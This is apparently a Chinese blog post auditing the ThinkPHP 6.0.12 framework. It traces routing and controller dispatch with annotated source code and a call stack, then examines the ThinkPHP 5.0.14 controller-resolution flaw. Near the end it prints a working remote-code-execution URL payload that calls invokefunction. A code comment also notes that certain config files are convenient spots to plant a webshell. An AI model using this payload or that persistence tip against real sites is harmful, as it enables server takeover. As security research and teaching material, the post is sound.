Thinkphp的审计学习|6.0.12LTS

Thinkphp的审计学习|6.0.12LTS

想要对TP框架进行审计学习那么先了解它的框架加载机制和流量走向是很有必要的, 因为当前最新版为6.0.12LTS,刚好国赛的ezpop也是这个版本的代码, 这里我就直接拿题目的源码进行调试了

Something...

image-20220914144704434

了解一下下面几点:

    1. 请求的时候在指定控制器和操作方法的时候|/的作用是一样的,因为
    2. \think\Route::check会把/转为|
    3. 然后在\think\route\Rule::parseUrlPath取控制器的时候就是先把全部的|变为/之后再取出第一个作为控制器
    4. 最后在添加控制器具体的命名空间的\think\App::parseClass又会把/.转为\然后通过\进行切割,最后一个为类名,其余的通过\拼接,最后又在前面加上app\controller
  1. 控制器名中不能有\字符,因为如果带了\字符的话会在\think\route\dispatch\Url::parseUrl因为控制器无法匹配正则/^[A-Za-z0-9][\w|\.]*$/从而导致程序404退出
  2. 指定控制器的时候/|分割后的第一个和第二个分别作为控制器和操作方法,后面的会被逐个当做参数名/参数解析出来然后放到备选参数中

在此次调试中我得到的整体关键处理流程如下(有些细节没具体展示出来,此外逻辑细节可能有些地方会有误差,下图仅供参考):

image-20220914221926776

index.php

作为一切的起源,index.php先来看一下这个几行代码分别齐了上面作用

<?php
// [ 应用入口文件 ]
namespace think;

require __DIR__ . '/../vendor/autoload.php';//完成一些框架函数和类的载入以及指定了自动加载函数,ClassLoader->prefixDirsPsr4可以关注一下

// 执行HTTP应用并响应
$http = (new App())->http;//实例化了一个App对象同时在里面实例化了一个\think\Http对象,里面指定了路由文件目录路径

$response = $http->run();//解析请求的过程全部发生在这个run函数中,后续我们的跟踪也都发生在这里

$response->send();//处理返回的响应内容(比如设置响应头的一些参数)并且将返回结果通过echo打印
//有一点值得注意一下,如果request->content为空,并且request->data是一个有__toString函数的对象的话,就会通过__toString方法之后讲结果返回输出

$http->end($response);//最后这里就是执行一些组件的操作了,其实就是执行组件的end函数(如果有实现end方法的话)

image-20220914152135684

\think\Http::run

可以说几乎全部的关键逻辑都在run函数里面了

public function run(Request $request = null): Response
{
    //初始化
    //里面东西还是不少的,建议进去看一下完成了那些初始化操作
    $this->initialize();

    //自动创建request对象并且绑定到容器中,后面全程完成解析使用的都是这一个request对象
    $request = $request ?? $this->app->make('request', [], true);
    $this->app->instance('request', $request);

    try {
        //重头戏都在这里了,请求解析工作就是在这里面完成的,最后得到response响应
        $response = $this->runWithRequest($request);
    } catch (Throwable $e) {
        $this->reportException($e);

        $response = $this->renderException($request, $e);
    }

    return $response;
}

image-20220914152317510

\think\App::initialize

    /**
     * 初始化应用
     * @access public
     * @return $this
     */
    public function initialize()
    {
        //设为true避免当前这个初始化函数被再次加载
        $this->initialized = true;
        $this->beginTime = microtime(true);
        //获取分配给PHP的内存量
        $this->beginMem  = memory_get_usage();
        //加载app类中的默认环境变量, envName作为环境变量文件被parse_ini_file函数解析后被载入App的data变量中
        $this->loadEnv($this->envName);

        $this->configExt = $this->env->get('config_ext', '.php');
        //完成调试模式的一些初始化操作,因为一般是不打开调试模式的所以就没详细跟进去看了
        $this->debugModeInit();

        // 加载全局初始化文件,主要是加载以下文件(app和think的几个文件都是种马的好地方)
        /*
         * app/common.php       => include
         * app/service.php  => include
         * app/event.php        => include
         * think/helper.php     => include
         *
         * config/*.php     => include
         * config/*.yaml    => yaml_parse_file
         * config/*.yml     => yaml_parse_file
         * config/*.json    => json_decode
         * config/*.ini     => parse_ini_file
         */
        $this->load();

        // 加载应用默认语言包(其实就是使用;oad函数加载lang文件夹(默认没有这个文件夹)下面的配置文件,默认语言zh-cn)
        $this->loadLangPack();

        // 监听AppInit
        $this->event->trigger(AppInit::class);
        //设定脚本中所有日期时间函数的默认时区
        date_default_timezone_set($this->config->get('app.default_timezone', 'Asia/Shanghai'));

        // 初始化
        //其实就是实例化下面三个类并且执行其init初始化函数
        // think\initializer\BootService
        // think\initializer\RegisterService
        // think\initializer\Error
        foreach ($this->initializers as $initializer) {
            $this->make($initializer)->init($this);
        }

        return $this;
    }

\think\Http::runWithRequest

/**
 * 执行应用程序
 * @param Request $request
 * @return mixed
 */
protected function runWithRequest(Request $request)
{
    // 加载全局中间件
    $this->loadMiddleware();

    // 监听HttpRun
    $this->app->event->trigger(HttpRun::class);
    //注意,$this->app->middleware中已经装载了全部需要加载的组件数组,在一个组件加载完成之后会检测是否还有下一个组件,会在middleware的里面通过next加载下一个组件的
    //而不是继续再次回到这里每次加载一个组件
    //当前函数只会执行一次
    //这个就是重点关注内容,因为最终解析请求的app也会被作为组件进行加载的
    return $this->app->middleware->pipeline()
        ->send($request)
        ->then(function ($request) {
            return $this->dispatchToRoute($request);
        });
}

image-20220914161423092

\think\Route::dispatch

    /**
     * 路由调度
     * @param Request $request
     * @param Closure|bool $withRoute
     * @return Response
     */
    //需要明白一点,这个路由调度函数只会执行一次
    public function dispatch(Request $request, $withRoute = true)
    {
        $this->request = $request;
        $this->host    = $this->request->host(true);
        $this->init();

        if ($withRoute) {
            //加载路由
            if ($withRoute instanceof Closure) {
                $withRoute();
            }
            //众多的漏洞都是由于从下面进入路由的函数对模块和控制器的解析出错而导致的, 模块和控制器错了,导致加载的类和方法也被改变,从而能够触发危险函数方法
            //注意,这里并没有进行类的实例化,只是返回了一个think\route\dispatch\Url实例,
            //之后这个Url实例会被使用init函数对其完成一些初始化配置
            //Url实例被通过init初始化之后,就被通过pipeline管道执行它的run函数了
            //调用run函数之后在里面调用exec函数,并且在里面调用controller函数
            //之后s指定的控制器就被实例化了
            //然后在exec中调用invokeReflectMethod完成对应控制器的动态调用(并且相关参数会被传入)
            $dispatch = $this->check();
        } else {
            $dispatch = $this->url($this->path());
        }
        //完成一些路由调度的初始化操作
        $dispatch->init($this->app);
        //最后在这里
        return $this->app->middleware->pipeline('route')
            ->send($request)
            ->then(function () use ($dispatch) {
                return $dispatch->run();
            });
    }

image-20220914161537443

\think\Route::check

    /**
     * 检测URL路由
     * @access public
     * @return Dispatch|false
     * @throws RouteNotFoundException
     */
    public function check()
    {
        // 自动检测域名路由,这里的$this->config['pathinfo_depr']默认是/,所以/会被转换为|
        // 通过这里取出解析控制器的url
        $url = str_replace($this->config['pathinfo_depr'], '|', $this->path());

        $completeMatch = $this->config['route_complete_match'];

        $result = $this->checkDomain()->check($this->request, $url, $completeMatch);

        if (false === $result && !empty($this->cross)) {
            // 检测跨域路由
            $result = $this->cross->check($this->request, $url, $completeMatch);
        }

        if (false !== $result) {
            return $result;
        } elseif ($this->config['url_route_must']) {
            throw new RouteNotFoundException();
        }
        //从这里返回得到一个解析出控制器的UrlDispatch变量
        return $this->url($url);
    }

image-20220914172719982

\think\Request::pathinfo 获取解析控制器的URL

知道为什么TP可以通过url直接确定控制器,也可以通过s参数指定控制器嘛?

答案就在这段代码里:

    /**
     * 获取当前请求URL的pathinfo信息(含URL后缀)
     * @access public
     * @return string
     */
    public function pathinfo(): string
    {
        // 这里取控制器解析的url有多种解析方式,优先级依次为:
        // 1.取GET参数中的s参数
        // 2.取$_SERVRE["PATH_INFO"]
        // 3.取$_SERVER["REQUEST_URI"]中?前面的部分
        if (is_null($this->pathinfo)) {
            if (isset($_GET[$this->varPathinfo])) {
                // 判断URL里面是否有兼容模式参数
                $pathinfo = $_GET[$this->varPathinfo];
                unset($_GET[$this->varPathinfo]);
                unset($this->get[$this->varPathinfo]);
            } elseif ($this->server('PATH_INFO')) {
                $pathinfo = $this->server('PATH_INFO');
            } elseif (false !== strpos(PHP_SAPI, 'cli')) {
                //默认是可以进到这里来的,因为PHP_SAPI默认就是cli
                $pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
            }

            // 因为PHP_SAPI符合要求所以一般来说都不会走到这里面
            if (!isset($pathinfo)) {
                foreach ($this->pathinfoFetch as $type) {
                    // ORIG_PATH_INFO
                    // REDIRECT_PATH_INFO
                    // REDIRECT_URL
                    if ($this->server($type)) {
                        $pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
                        substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
                        break;
                    }
                }
            }
            //注意这里将$this->request["s"]给删掉了
            if (!empty($pathinfo)) {
                unset($this->get[$pathinfo], $this->request[$pathinfo]);
            }

            $this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
        }

        return $this->pathinfo;
    }

image-20220914210156525

\think\Route::path 去处默认后缀

默认去处url最后的.html

    /**
     * 获取当前请求URL的pathinfo信息(不含URL后缀)
     * @access protected
     * @return string
     */
    protected function path(): string
    {
        $suffix   = $this->config['url_html_suffix'];
        $pathinfo = $this->request->pathinfo();

        if (false === $suffix) {
            // 禁止伪静态访问
            $path = $pathinfo;
        } elseif ($suffix) {
            // 去除正常的URL后缀
            // 默认后缀为$suffix="html"因此默认去处.html
            $path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
        } else {
            // 允许任何后缀访问
            $path = preg_replace('/\.' . $this->request->ext() . '$/i', '', $pathinfo);
        }

        return $path;
    }

image-20220914212005311

\think\Route::url 生产URL实例的跳板

    /**
     * 默认URL解析
     * @access public
     * @param string $url URL地址
     * @return Dispatch
     */
    public function url(string $url): Dispatch
    {
        if ($this->request->method() == 'OPTIONS') {
            // 自动响应options请求
            return new Callback($this->request, $this->group, function () {
                return Response::create('', 'html', 204)->header(['Allow' => 'GET, POST, PUT, DELETE']);
            });
        }

        return new UrlDispatch($this->request, $this->group, $url);
    }

image-20220914163717603

但是需要注意的一点就是这里的UrlDispatch类是think\route\dispatch\Url的别名

image-20220914163854017

\think\route\dispatch\Url::__construct URL实例构造参数,调用控制器解析函数

    public function __construct(Request $request, Rule $rule, $dispatch)
    {
        $this->request = $request;
        $this->rule    = $rule;
        // 解析默认的URL规则
        //控制器的指定就是在这里完成的
        $dispatch = $this->parseUrl($dispatch);

        parent::__construct($request, $rule, $dispatch, $this->param);
    }

image-20220914163949413

\think\route\dispatch\Url::parseUrl 解析url并确认控制器和操作

解析控制器解析操作都发生在这一步,所以内容较长,需要仔细看

这里的取出解析控制器和解析操作基本都没啥毛病

    /**
     * 解析URL地址
     * @access protected
     * @param  string $url URL
     * @return array
     */
    protected function parseUrl(string $url): array
    {
        $depr = $this->rule->config('pathinfo_depr');//默认为/
        //读取路由绑定
        $bind = $this->rule->getRouter()->getDomainBind();

        if ($bind && preg_match('/^[a-z]/is', $bind)) {//默认一般没有对应的路由绑定是不会进来的
            //这里的$depr=$this->rule->config('pathinfo_depr')默认也是/,所以这几句话可以说没啥用
            $bind = str_replace('/', $depr, $bind);
            $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
        }
        //得到一个数组,之后第一个元素作为控制器类名,第二个元素作为执行函数action
        $path = $this->rule->parseUrlPath($url);
        if (empty($path)) {
            return [null, null];
        }

        // 解析控制器
        // 从$path取出第一个元素作为控制器
        $controller = !empty($path) ? array_shift($path) : null;

        if ($controller && !preg_match('/^[A-Za-z0-9][\w|\.]*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

        // 解析操作
        // 从$path取出第一个元素作为控制器操作函数
        $action = !empty($path) ? array_shift($path) : null;
        $var    = [];

        // 解析额外参数
        // 例子:/index/hello/var3/c/var4/d
        // 以上请求先是index和hello分别被弹出作为控制器和操作方法名,剩下["var3","c","var4","d"]
        // 之后进入正则之前先是会被变为字符串"var3|c|var4|d"
        // 之后正则匹配到两组数据["var3|c","var4|d"]
        // 将两组数据传入自定义参数, 然后被赋值进入$var中
        // $var["var3"]="c" , $var["var4"]="d"
        // 这里的$var会传入操作方法作为参数, 同时除此之外还会解析GET和POST的数据解析也加入到待选的参数变量$this->param中
        if ($path) {
            preg_replace_callback('/(\w+)\|([^\|]+)/', function ($match) use (&$var) {
                var_dump($match);
                $var[$match[1]] = strip_tags($match[2]);
            }, implode('|', $path));
        }

        $panDomain = $this->request->panDomain();
        if ($panDomain && $key = array_search('*', $var)) {
            // 泛域名赋值
            $var[$key] = $panDomain;
        }

        // 设置当前请求的参数
        $this->param = $var;

        // 封装路由
        $route = [$controller, $action];

        if ($this->hasDefinedRoute($route)) {
            throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
        }

        return $route;
    }

image-20220914175712662

\think\route\Rule::parseUrlPath 获取控制器和操作的来源数组

    /**
     * 解析URL的pathinfo参数
     * @access public
     * @param  string $url URL地址
     * @return array
     */
    public function parseUrlPath(string $url): array
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        // 注意这里的url之前曾在\think\Route::check中被把全部的/替换成了|,这里就是还原回去
        // 所以其实我们指定控制器和方法的时候使用/和|其实是一样的,没什么区别
        $url = str_replace('|', '/', $url);
        // 去除字符串首尾处的空白字符
        $url = trim($url, '/');
        //检测结果|替换和去空白字符后的url还有没有/,有的话就把其切割为一个数组并直接返回
        //没有/那就是直接返回
        if (strpos($url, '/')) {
            // [控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        //这里返回了一个数组,之后第一个元素会被弹出作为控制器,第二个元素被弹出作为指定函数action
        return $path;
    }

image-20220914173910327

\think\route\dispatch\Controller::exec 对控制器再加工+实例化控制器+动态调用控制器

在这里也是关键点, 因为实例化操作函数和通过反射执行控制器操作函数的动作均是在这里调用完成的

    public function exec()
    {
        try {
            // 实例化控制器
            // 在这里将之前所解析指定的控制器类实例化(如果指定的控制器存在的话)
            $instance = $this->controller($this->controller);
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        // 注册控制器中间件
        $this->registerControllerMiddleware($instance);

        return $this->app->middleware->pipeline('controller')
            ->send($this->request)
            ->then(function () use ($instance) {
                // 获取当前操作名
                // 除了获取我们指定的操作名之外还会在其前面加上action_suffix的前置配置,但是默认为是空的
                // 如果我们没有指定操作名的话则使用默认操作名index
                $suffix = $this->rule->config('action_suffix');
                $action = $this->actionName . $suffix;

                //先检测控制器的实例化对象是否有对应的方法,如果没有则直接报错
                if (is_callable([$instance, $action])) {
                    $vars = $this->request->param();
                    try {
                        $reflect = new ReflectionMethod($instance, $action);
                        // 严格获取当前操作方法名
                        $actionName = $reflect->getName();
                        if ($suffix) {
                            $actionName = substr($actionName, 0, -strlen($suffix));
                        }

                        $this->request->setAction($actionName);
                    } catch (ReflectionException $e) {
                        $reflect = new ReflectionMethod($instance, '__call');
                        $vars    = [$action, $vars];
                        $this->request->setAction($action);
                    }
                }
                //控制器对象不存在指定操作
                else {
                    // 操作不存在
                    throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
                }

                //在此完成控制器操作方法的动态调用
                $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

                return $this->autoResponse($data);
            });
    }

image-20220914183629831

\think\route\dispatch\Controller::controller 判断控制器是否存在+实例化控制器

在此在此对控制器名进行加工,得到具体的命名空间

    /**
     * 实例化访问控制器
     * @access public
     * @param string $name 资源地址
     * @return object
     * @throws ClassNotFoundException
     */
    public function controller(string $name)
    {
        // 添加控制器前缀,默认为空
        $suffix = $this->rule->config('controller_suffix') ? 'Controller' : '';

        // 默认不设置controller_layer,所以$controllerLayer="controller"
        $controllerLayer = $this->rule->config('controller_layer') ?: 'controller';
        // 默认不设置empty_controller,所以$emptycontroller="Error"
        $emptyController = $this->rule->config('empty_controller') ?: 'Error';

        //解析URI找到控制器对应的类名,并且返回其所在的空间位置
        $class = $this->app->parseClass($controllerLayer, $name . $suffix);

        if (class_exists($class)) {
            //如果指定的控制器类存在那就条狗make将其取出或者实例化
            return $this->app->make($class, [], true);
        } elseif ($emptyController && class_exists($emptyClass = $this->app->parseClass($controllerLayer, $emptyController . $suffix))) {
            return $this->app->make($emptyClass, [], true);
        }

        throw new ClassNotFoundException('class not exists:' . $class, $class);
    }

image-20220914185502565

\think\App::parseClass 获取控制器绝对空间路径

获取控制器绝对空间路径,其实就是将.给换成\并且在前面加上app\controller

例如:index.home => app\controller\index\home

    /**
     * 解析应用类的类名
     * @access public
     * @param string $layer 层名 controller model ...
     * @param string $name  类名
     * @return string
     */
    public function parseClass(string $layer, string $name): string
    {
        // 先是把/和.都转为反斜杠,然后使用\分割字符串
        // 注意一下,控制器名中是不能有\的,否则会在\think\route\dispatch\Url::parseUrl中药味无法匹配/^[A-Za-z0-9][\w|\.]*$/而终止程序
        // 此外其实这里这个/并没有用处,因为在\think\route\dispatch\Url::parseUrl里面取的是/分割后的数组中的第一个元素作为控制器
        $name  = str_replace(['/', '.'], '\\', $name);
        $array = explode('\\', $name);
        //弹出最后一个元素作为控制器类名
        $class = Str::studly(array_pop($array));
        //弹出一个元素作为类名之后就将剩下的元素以\拼接
        $path  = $array ? implode('\\', $array) . '\\' : '';

        // $this->namespace="app"
        // $layer="controller"
        return $this->namespace . '\\' . $layer . '\\' . $path . $class;
    }

image-20220914204519472

\think\Request::param 拿到控制器执行命令的全部待选参数

这里其实主要就是取出$_GETPOST参数交回到\think\route\dispatch\Controller::exec当中取完成动态调用

    /**
     * 获取当前请求的参数
     * @access public
     * @param  string|array $name 变量名
     * @param  mixed        $default 默认值
     * @param  string|array $filter 过滤方法
     * @return mixed
     */
    public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);

            // 自动获取请求变量
            // 可以看到PUT,DELETE,GET方法是不会取出其中的请求体参数的
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            // 一般默认情况下在合并之前 $this->param是一个空数组
            // $this->get(false)拿到全部的get参数
            // $vars拿到POST或PATCH的输入参数
            // $this->route(false)一般为空
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (is_array($name)) {
            return $this->only($name, $this->param, $filter);
        }
        // 取参数控制器的参数的时候使用的$name为空,所以就是直接返回$this->param了,可以直接理解为return $this->param;
        return $this->input($this->param, $name, $default, $filter);
    }

image-20220914223841549

index.php到执行控制器函数的调用栈

这里直接访问http://127.0.0.1/index.php?s=index/hello?name=h0cksr访问Index下的hello方法,直接在hello方法打下断点

image-20220914145120327

image-20220914145239496

全程调用栈如下:

Index.php:15, app\controller\Index->hello()
Container.php:344, ReflectionMethod->invokeArgs()
Container.php:344, think\App->invokeReflectMethod()
Controller.php:110, think\route\dispatch\Url->think\route\dispatch\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\route\dispatch\Controller.php:84-113}()
Pipeline.php:59, think\Pipeline->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Pipeline.php:57-63}()
Pipeline.php:66, think\Pipeline->then()
Controller.php:113, think\route\dispatch\Url->exec()
Dispatch.php:90, think\route\dispatch\Url->run()
Route.php:772, think\Route->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Route.php:771-773}()
Pipeline.php:59, think\Pipeline->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Pipeline.php:57-63}()
Pipeline.php:66, think\Pipeline->then()
Route.php:773, think\Route->dispatch()
Http.php:216, think\Http->dispatchToRoute()
Http.php:206, think\Http->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Http.php:205-207}()
Pipeline.php:59, think\Pipeline->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Pipeline.php:57-63}()
SessionInit.php:67, think\middleware\SessionInit->handle()
Middleware.php:142, call_user_func:{C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:85, think\Pipeline->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Pipeline.php:83-89}()
TraceDebug.php:71, think\trace\TraceDebug->handle()
Middleware.php:142, call_user_func:{C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:85, think\Pipeline->think\{closure:C:\phpstudy_pro\WWW\ciscnezpop\vendor\topthink\framework\src\think\Pipeline.php:83-89}()
Pipeline.php:66, think\Pipeline->then()
Http.php:207, think\Http->runWithRequest()
Http.php:170, think\Http->run()
index.php:20, {main}()

image-20220914143611123

模块解析漏洞导致控制器任意指定(thinkphp_5.0.14_full)

在这里跳转就少多了,直接一个函数看完,其中modle模块和控制器都是子啊一个数组中指定,从url解析后生产¥path数组用于弹出获取完整路由$route = [$module, $controller, $action]

/**
 * 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2...
 * @access public
 * @param string    $url URL地址
 * @param string    $depr URL分隔符
 * @param bool      $autoSearch 是否自动深度搜索控制器
 * @return array
 */
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{

    if (isset(self::$bind['module'])) {
        $bind = str_replace('/', $depr, self::$bind['module']);
        // 如果有模块/控制器绑定
        $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
    }
    $url              = str_replace($depr, '|', $url);
    list($path, $var) = self::parseUrlPath($url);
    $route            = [null, null, null];
    if (isset($path)) {
        // 解析模块
        $module = Config::get('app_multi_module') ? array_shift($path) : null;
        if ($autoSearch) {
            // 自动搜索控制器
            $dir    = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer');
            $suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : '';
            $item   = [];
            $find   = false;
            foreach ($path as $val) {
                $item[] = $val;
                $file   = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT;
                $file   = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT;
                if (is_file($file)) {
                    $find = true;
                    break;
                } else {
                    $dir .= DS . Loader::parseName($val);
                }
            }
            if ($find) {
                $controller = implode('.', $item);
                $path       = array_slice($path, count($item));
            } else {
                $controller = array_shift($path);
            }
        } else {
            // 解析控制器
            $controller = !empty($path) ? array_shift($path) : null;
        }
        // 解析操作
        $action = !empty($path) ? array_shift($path) : null;
        // 解析额外参数
        self::parseUrlParams(empty($path) ? '' : implode('|', $path));
        // 封装路由
        $route = [$module, $controller, $action];
        // 检查地址是否被定义过路由
        $name  = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
        $name2 = '';
        if (empty($module) || isset($bind) && $module == $bind) {
            $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
        }

        if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
            throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
        }
    }
    return ['type' => 'module', 'module' => $route];
}

下面这里就是关键部分了:

\think\Route::parseUrlPath

    /**
     * 解析URL的pathinfo参数和变量
     * @access private
     * @param string    $url URL地址
     * @return array
     */
    private static function parseUrlPath($url)
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

这里可以看到,返回控制器的时候并没有指定app\conyroller之类的前缀,这是很重要的一点,至于具体的解析过程代码没多少,直接看源码吧

放两篇参考文章:

https://www.cnblogs.com/lingzhisec/p/15728886.html

https://www.cnblogs.com/miansj/p/14639276.html(就当参考吧,有些地方好像不太对劲

直接本地用工具开扫一下:

image-20220915134139890

拿到payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

image-20220915134300001

image-20220915133954573

其他版本也大差不差吧,另外虽然这篇文章说5.0.14需要开启debug模式,但是本地跑的时候发现开不开debug其实都是可行的

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇